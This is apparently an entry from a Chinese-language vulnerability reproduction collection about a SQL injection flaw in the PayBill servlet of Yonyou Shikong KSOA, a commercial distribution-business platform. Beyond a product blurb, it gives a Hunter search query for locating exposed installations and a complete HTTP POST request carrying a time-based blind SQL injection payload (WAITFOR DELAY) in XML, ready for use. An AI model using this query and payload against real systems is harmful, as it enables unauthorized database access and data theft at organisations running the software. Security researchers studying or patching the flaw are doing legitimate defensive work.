Y22-1用友-时空KSOA-SQL

漏洞描述：

用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。用友时空KSOA平台PayBill参数存在SQL注入漏洞。

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="用友时空 KSOA"

漏洞复现：

payload：

```
POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 142
Accept-Encoding: gzip, deflate
Connection: close

<?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY '00:00:03';--+</name><name>1</name><name>102360</name></root>
```

效果图: